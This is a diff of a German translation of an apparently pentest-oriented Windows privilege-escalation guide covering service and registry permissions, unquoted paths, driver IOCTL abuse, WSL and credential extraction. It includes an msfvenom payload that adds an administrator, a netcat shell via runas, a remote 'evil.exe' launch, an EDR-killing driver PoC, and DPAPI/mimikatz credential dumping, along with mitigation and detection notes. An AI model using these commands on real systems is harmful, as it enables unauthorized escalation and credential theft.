**GENERIC_ALL**: Gewährt ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern. -Zur Erkennung und Ausnutzung dieser Schwachstelle kann das _exploit/windows/local/service_permissions_ verwendet werden. +Zur Erkennung und Ausnutzung dieser Verwundbarkeit kann _exploit/windows/local/service_permissions_ verwendet werden. -### Services binaries weak permissions +### Schwache Berechtigungen bei Service-Binärdateien -**Prüfe, ob du die Binärdatei, die von einem Service ausgeführt wird, ändern kannst** oder ob du **Schreibberechtigungen für den Ordner** hast, in dem die Binärdatei liegt ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Du kannst alle Binärdateien, die von einem Service ausgeführt werden, mit **wmic** (nicht in system32) ermitteln und deine Berechtigungen mit **icacls** überprüfen: +**Prüfe, ob du die vom Dienst ausgeführte Binärdatei ändern kannst** oder ob du **Schreibrechte auf den Ordner** hast, in dem die Binärdatei liegt ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Du kannst jede Binärdatei, die von einem Dienst ausgeführt wird, mit **wmic** (nicht in system32) ermitteln und deine Berechtigungen mit **icacls** prüfen: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Sie können auch **sc** und **icacls**: +Sie können auch **sc** und **icacls** verwenden: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Berechtigungen zum Ändern der Service-Registry +### Berechtigungen zum Ändern von Service-Registries -Du solltest prüfen, ob du irgendeine Service-Registry modifizieren kannst.\ - -Du kannst deine **Berechtigungen** für eine Service-**Registry** **prüfen**, indem du Folgendes ausführst: +Du solltest prüfen, ob du irgendeine Service-Registry ändern kannst.\ +Du kannst deine **Berechtigungen** für eine Service-**Registry** wie folgt **prüfen**: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -533,16 +532,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Es sollte überprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden. +Es sollte überprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Wenn ja, kann die vom Dienst ausgeführte Binary verändert werden. -Um den Pfad der ausgeführten Binärdatei zu ändern: +Um den Path der ausgeführten Binary zu ändern: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory Berechtigungen - -Wenn Sie diese Berechtigung für eine Registry haben, bedeutet das, dass **Sie daraus Unterschlüssel erstellen können**. Im Fall von Windows services ist das **ausreichend, um beliebigen Code auszuführen:** +### Services Registry AppendData/AddSubdirectory Berechtigungen +Wenn Sie diese Berechtigung für eine Registry haben, bedeutet das, dass **Sie daraus Unterschlüssel erstellen können**. Im Fall von Windows-Diensten ist das **ausreichend, um beliebigen Code auszuführen:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -550,15 +548,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Teilfolge vor einem Leerzeichen auszuführen. +Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jedes Segment vor einem Leerzeichen auszuführen. -Zum Beispiel versucht Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ Folgendes auszuführen: +Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, auszuführen: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Alle unquoted service paths auflisten, ausgenommen diejenigen, die zu eingebauten Windows-Diensten gehören: +Alle ungequoteten Dienstpfade auflisten, ausgenommen diejenigen, die zu integrierten Windows-Diensten gehören: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -578,19 +576,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Sie können diese Schwachstelle erkennen und ausnutzen** mit metasploit: `exploit/windows/local/trusted\_service\_path` Sie können manuell eine Service-Binärdatei mit metasploit erstellen: +**Sie können erkennen und ausnutzen** diese Schwachstelle mit metasploit: `exploit/windows/local/trusted\_service\_path` Sie können manuell eine service binary mit metasploit erstellen: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Wiederherstellungsaktionen -Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst ausfällt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden sich in der [official documentation](). +Windows erlaubt Benutzern, Aktionen festzulegen, die ausgeführt werden, wenn ein Dienst ausfällt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary verweist. Wenn dieses binary ersetzbar ist, könnte Privilege Escalation möglich sein. Weitere Details finden sich in der [offiziellen Dokumentation](). ## Anwendungen ### Installierte Anwendungen -Prüfe die **Berechtigungen der binaries** (vielleicht kannst du eines überschreiben und escalate privileges) und die **Ordner** ([DLL Hijacking](dll-hijacking/index.html)). +Überprüfe die **permissions der binaries** (vielleicht kannst du eines überschreiben und Privilege Escalation durchführen) und die **Ordner** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -601,7 +599,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Schreibberechtigungen -Überprüfe, ob du eine config file ändern kannst, um eine spezielle Datei zu lesen, oder ob du ein binary ändern kannst, das von einem Administrator-Konto (schedtasks) ausgeführt wird. +Prüfe, ob du eine config file so ändern kannst, dass du eine bestimmte Datei lesen kannst, oder ob du ein binary ändern kannst, das von einem Administrator account ausgeführt wird (schedtasks). Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist: ```bash @@ -628,7 +626,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Beim Systemstart -**Prüfe, ob du einige registry- oder binary-Dateien überschreiben kannst, die von einem anderen Benutzer ausgeführt werden.**\ +**Prüfe, ob du bestimmte Registry-Einträge oder Binärdateien überschreiben kannst, die von einem anderen Benutzer ausgeführt werden.**\ **Lies** die **folgende Seite**, um mehr über interessante **autoruns locations to escalate privileges** zu erfahren: @@ -638,33 +636,31 @@ privilege-escalation-with-autorun-binaries.md ### Treiber -Suche nach möglichen **third party weird/vulnerable** Treibern +Suche nach möglichen **Drittanbieter-, merkwürdigen oder anfälligen** Treibern ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Wenn ein Treiber ein beliebiges Kernel-Lese-/Schreib-Primitiv bereitstellt (häufig in schlecht gestalteten IOCTL-Handlern), kann man durch das Stehlen eines SYSTEM token direkt aus dem Kernel-Speicher eskalieren. Siehe die Schritt‑für‑Schritt-Technik hier: +Wenn ein Treiber ein beliebiges Kernel-Lese-/Schreib-Primitiv offenlegt (häufig in schlecht entworfenen IOCTL-Handlern), können Sie eskalieren, indem Sie ein SYSTEM-Token direkt aus dem Kernel-Speicher stehlen. Siehe die Schritt‑für‑Schritt-Technik hier: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### Ausnutzung fehlenden FILE_DEVICE_SECURE_OPEN bei Device-Objekten (LPE + EDR kill) +#### Ausnutzen fehlender FILE_DEVICE_SECURE_OPEN auf Device-Objekten (LPE + EDR kill) -Einige signierte Drittanbieter-Treiber erstellen ihr Device-Objekt mit einer starken SDDL via IoCreateDeviceSecure, vergessen aber, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die sichere DACL nicht durchgesetzt, wenn das Device über einen Pfad geöffnet wird, der eine zusätzliche Komponente enthält, wodurch jeder nicht‑privilegierte Benutzer einen Handle erhalten kann, indem er einen Namespace-Pfad wie: +Einige signierte Drittanbieter-Treiber erstellen ihr Device-Objekt mit einer starken SDDL via IoCreateDeviceSecure, vergessen aber, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die sichere DACL nicht durchgesetzt, wenn das Device über einen Pfad geöffnet wird, der eine zusätzliche Komponente enthält, wodurch jeder unprivilegierte Benutzer einen Handle erhalten kann, indem er einen Namespace-Pfad wie: -- \\ .\\DeviceName\\anything -- \\ .\\amsdk\\anyfile (from a real-world case) +- \\.\DeviceName\anything +- \\.\amsdk\anyfile (from a real-world case) -verwendet. +verwendet. Sobald ein Benutzer das Device öffnen kann, können durch den Treiber exponierte privilegierte IOCTLs für LPE und Manipulation missbraucht werden. Beispielhafte Fähigkeiten, die in der Praxis beobachtet wurden: +- Zurückgeben von Vollzugriffs-Handles für beliebige Prozesse (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Uneingeschränkter roher Festplatten-Lese-/Schreibzugriff (offline-Manipulation, Tricks zur Persistenz beim Booten). +- Beenden beliebiger Prozesse, einschließlich Protected Process/Light (PP/PPL), wodurch AV/EDR aus dem User-Modus über den Kernel terminiert werden können. -Sobald ein Benutzer das Device öffnen kann, können privilegierte IOCTLs, die vom Treiber bereitgestellt werden, für LPE und Manipulation ausgenutzt werden. Beispielhafte Fähigkeiten, die in der Praxis beobachtet wurden: -- Gibt Vollzugriffs-Handles an beliebige Prozesse zurück (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). -- Uneingeschränkte rohe Festplatten-Lese-/Schreibzugriffe (Offline-Manipulation, Bootzeit-Persistenz-Tricks). -- Terminieren beliebiger Prozesse, einschließlich Protected Process/Light (PP/PPL), wodurch ein AV/EDR kill aus dem Userland via Kernel möglich wird. - -Minimal PoC pattern (user mode): +Minimales PoC-Muster (user mode): ```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 @@ -676,25 +672,25 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -Abhilfemaßnahmen für Entwickler +Gegenmaßnahmen für Entwickler - Setzen Sie immer FILE_DEVICE_SECURE_OPEN, wenn Sie Device-Objekte erstellen, die durch eine DACL eingeschränkt werden sollen. -- Validieren Sie den Caller-Kontext für privilegierte Operationen. Fügen Sie PP/PPL-Prüfungen hinzu, bevor Sie Prozessbeendigung oder die Rückgabe von Handles erlauben. -- Beschränken Sie IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwägen Sie vermittelte Modelle statt direkter Kernel-Privilegien. +- Validieren Sie den Aufruferkontext für privilegierte Operationen. Fügen Sie PP/PPL-Prüfungen hinzu, bevor Sie Prozessbeendigungen oder das Zurückgeben von Handles zulassen. +- Beschränken Sie IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwägen Sie vermittelnde Modelle anstelle direkter Kernel-Privilegien. -Erkennungsansätze für Verteidiger -- Überwachen Sie User-Mode-Zugriffe auf verdächtige Device-Namen (z. B. \\ .\\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten. -- Setzen Sie Microsofts Blockliste für vulnerable Treiber durch (HVCI/WDAC/Smart App Control) und pflegen Sie eigene Zulassungs-/Sperrlisten. +Erkennungsideen für Verteidiger +- Überwachen Sie User-Mode-Öffnungen verdächtiger Gerätenamen (z. B., \\ .\\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten. +- Setzen Sie Microsofts Blockliste für verwundbare Treiber durch (HVCI/WDAC/Smart App Control) und pflegen Sie eigene Allow-/Deny-Listen. ## PATH DLL Hijacking -Wenn Sie **Schreibberechtigungen in einem Ordner haben, der im PATH enthalten ist**, könnten Sie eine von einem Prozess geladene DLL hijacken und **escalate privileges**. +If you have **Schreibrechte in einem Ordner, der im PATH enthalten ist** you could be able to hijack a DLL loaded by a process and **escalate privileges**. -Überprüfen Sie die Berechtigungen aller Ordner im PATH: +Prüfen Sie die Berechtigungen aller Ordner im PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Für weitere Informationen darüber, wie man diese Prüfung ausnutzen kann: +Weitere Informationen darüber, wie man diese Prüfung ausnutzt: {{#ref}} @@ -711,9 +707,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### Hosts-Datei +### hosts file -Prüfe auf andere bekannte Computer, die fest in der Hosts-Datei eingetragen sind. +Prüfe auf andere bekannte Computer, die in der hosts file festcodiert sind. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -723,49 +719,49 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### Offene Ports -Prüfe von außen auf **eingeschränkte Dienste** +Von außen auf **eingeschränkte Dienste** prüfen ```bash netstat -ano #Opened ports? ``` -### Routing-Tabelle +### Routingtabelle ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP-Tabelle +### ARP Table ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall-Regeln -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)** +[**Siehe diese Seite für Firewall-bezogene Befehle**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)** -Mehr[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Mehr[ Befehle zur Netzwerkerkundung hier](../basic-cmd-for-pentesters.md#network) -### Windows Subsystem for Linux (wsl) +### Windows-Subsystem für Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Die Binärdatei `bash.exe` kann auch unter `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` gefunden werden. +Binary `bash.exe` kann auch in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` gefunden werden -Wenn du root user bist, kannst du an jedem Port lauschen (das erste Mal, wenn du `nc.exe` benutzt, um an einem Port zu lauschen, fragt die GUI, ob `nc` von der Firewall zugelassen werden soll). +Wenn man root user ist, kann man auf jedem Port lauschen (das erste Mal, wenn man `nc.exe` verwendet, um auf einem Port zu lauschen, wird es über die GUI fragen, ob `nc` von der firewall erlaubt werden soll). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Um bash einfach als root zu starten, kannst du `--default-user root` ausprobieren. +Um bash einfach als root zu starten, kannst du `--default-user root` ausprobieren -Du kannst das `WSL`-Dateisystem im Ordner `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` erkunden. +Du kannst das `WSL`-Dateisystem im Ordner `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` erkunden -## Windows Credentials +## Windows-Anmeldeinformationen -### Winlogon Credentials +### Winlogon-Anmeldeinformationen ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -777,16 +773,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Anmeldeinformationsverwaltung / Windows Vault +### Credentials manager / Windows vault -Von [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Die Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden** kann. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter-, Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, die **Windows** kann **die Benutzer automatisch anmelden**y. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer nun ihre Facebook-, Twitter- oder Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall. -Die Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen** (Server oder Website), **den Credential Manager** & Windows Vault nutzen kann und die gespeicherten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzernamen und Passwort eingeben. +Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen** (Server oder eine Website) **diesen Credential Manager nutzen kann** & Windows Vault und die bereitgestellten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzernamen und Passwort eingeben. -Sofern die Anwendungen nicht mit dem Credential Manager interagieren, ist es meiner Meinung nach nicht möglich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also die Vault nutzen möchte, sollte sie sich irgendwie **mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern** aus dem Standard-Speichervault. +Solange die Anwendungen nicht mit Credential Manager interagieren, glaube ich nicht, dass es ihnen möglich ist, die Anmeldeinformationen für eine bestimmte Ressource zu verwenden. Wenn Ihre Anwendung also den Vault nutzen möchte, sollte sie sich irgendwie **mit dem credential manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern** aus dem Standard-Speichervault. -Verwenden Sie `cmdkey`, um die auf der Maschine gespeicherten Anmeldeinformationen aufzulisten. +Verwenden Sie `cmdkey`, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten. ```bash cmdkey /list Currently stored credentials: @@ -794,48 +790,49 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird eine remote binary über ein SMB share aufgerufen. +Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird ein remote binary über ein SMB share aufgerufen. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Verwenden von `runas` mit einem bereitgestellten Satz von Anmeldeinformationen. +Verwenden von `runas` mit bereitgestellten Anmeldeinformationen. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder von [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder das [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -Die **Data Protection API (DPAPI)** bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die vorwiegend innerhalb des Windows-Betriebssystems für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beiträgt. +Die Data Protection API (DPAPI) bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die überwiegend im Windows-Betriebssystem für die symmetrische Verschlüsselung von asymmetrischen privaten Schlüsseln verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das erheblich zur Entropie beiträgt. -**DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Login-Geheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Domain-Authentifizierungsgeheimnisse des Systems. +**DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung nutzt es die Domain-Authentifizierungsgeheimnisse des Systems. -Verschlüsselte Benutzer-RSA-Schlüssel werden unter Verwendung von DPAPI im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den Benutzer-[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem Master-Key, der die privaten Schlüssel des Benutzers in derselben Datei schützt, gespeichert ist**, besteht typischerweise aus 64 Bytes Zufallsdaten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist; ein Auflisten des Inhalts mit dem `dir`-Befehl in CMD ist nicht möglich, jedoch kann es über PowerShell aufgelistet werden). +Verschlüsselte RSA-Benutzerschlüssel werden mittels DPAPI im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den Benutzer-[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem master key, der die privaten Schlüssel des Benutzers in derselben Datei schützt, abgelegt ist, besteht typischerweise aus 64 Bytes zufälliger Daten.** (Wichtig: Der Zugriff auf dieses Verzeichnis ist eingeschränkt, so dass eine Auflistung seines Inhalts über den `dir`-Befehl in CMD verhindert wird, obwohl es über PowerShell aufgelistet werden kann). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Sie können das **mimikatz module** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln. +Du kannst das **mimikatz module** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln. -Die **credentials files protected by the master password** befinden sich üblicherweise in: +Die **credentials-Dateien, die durch das Master-Passwort geschützt sind**, befinden sich normalerweise in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Sie können **mimikatz module** `dpapi::cred` mit dem passenden `/masterkey` zum Entschlüsseln verwenden.\ -Mit dem `sekurlsa::dpapi` module (wenn Sie root sind) können Sie **extract many DPAPI** **masterkeys** from **memory**. +Du kannst das **mimikatz module** `dpapi::cred` mit dem passenden `/masterkey` zum Entschlüsseln verwenden.\ +Du kannst viele **DPAPI** **masterkeys** aus dem **Speicher** mit dem `sekurlsa::dpapi` module extrahieren (wenn du root bist). + {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Anmeldeinformationen +### PowerShell-Anmeldeinformationen -**PowerShell credentials** werden häufig für **scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen werden mit **DPAPI** geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können. +**PowerShell credentials** werden häufig für **scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen werden mit **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können. -Um eine PS-Anmeldeinformation aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun: +Um PS-Anmeldeinformationen aus der Datei, die sie enthält, zu **entschlüsseln**, kannst du Folgendes tun: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -846,7 +843,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### WLAN ```bash #List saved Wifi using netsh wlan show profile @@ -857,32 +854,32 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Gespeicherte RDP-Verbindungen -Sie finden sie unter `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Sie finden diese unter `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ und in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Kürzlich ausgeführte Befehle +### Zuletzt ausgeführte Befehle ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Remote Desktop-Anmeldeinformationsmanager** +### **Remotedesktop-Anmeldeinformationsverwaltung** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Verwenden Sie das **Mimikatz** `dpapi::rdg`-Modul mit dem entsprechenden `/masterkey`, um **beliebige .rdg-Dateien zu entschlüsseln**\ -Sie können mit dem Mimikatz `sekurlsa::dpapi`-Modul viele **DPAPI masterkeys** aus dem Speicher extrahieren +Verwende das **Mimikatz** `dpapi::rdg`-Modul mit dem passenden `/masterkey`, um **beliebige .rdg-Dateien zu entschlüsseln**\ +Du kannst **viele DPAPI masterkeys** aus dem Speicher mit dem Mimikatz `sekurlsa::dpapi`-Modul extrahieren ### Sticky Notes -Viele Leute verwenden die StickyNotes-App auf Windows-Arbeitsstationen, um **Passwörter zu speichern** und andere Informationen, ohne zu wissen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und es lohnt sich immer, danach zu suchen und sie zu untersuchen. +Benutzer verwenden oft die StickyNotes-App auf Windows-Arbeitsstationen, um **Passwörter zu speichern** und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und sollte immer gesucht und untersucht werden. ### AppCmd.exe -**Beachten Sie, dass zum Wiederherstellen von Passwörtern aus AppCmd.exe Administratorrechte erforderlich sind und der Prozess mit einer hohen Integritätsstufe ausgeführt werden muss.**\ +**Beachte, dass du zum Wiederherstellen von Passwörtern aus AppCmd.exe Administrator sein musst und AppCmd.exe unter einem High Integrity level ausgeführt werden muss.**\ **AppCmd.exe** befindet sich im Verzeichnis `%systemroot%\system32\inetsrv\`.\ -Wenn diese Datei vorhanden ist, ist es möglich, dass einige **credentials** konfiguriert wurden und **wiederhergestellt** werden können. +Wenn diese Datei existiert, ist es möglich, dass einige **credentials** konfiguriert wurden und **wiederhergestellt** werden können. -Dieser Code wurde aus [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) extrahiert: +Dieser Code wurde aus [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -963,7 +960,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Prüfe, ob `C:\Windows\CCM\SCClient.exe` existiert .\ -Installers werden **mit SYSTEM privileges ausgeführt**, viele sind anfällig für **DLL Sideloading (Info von** 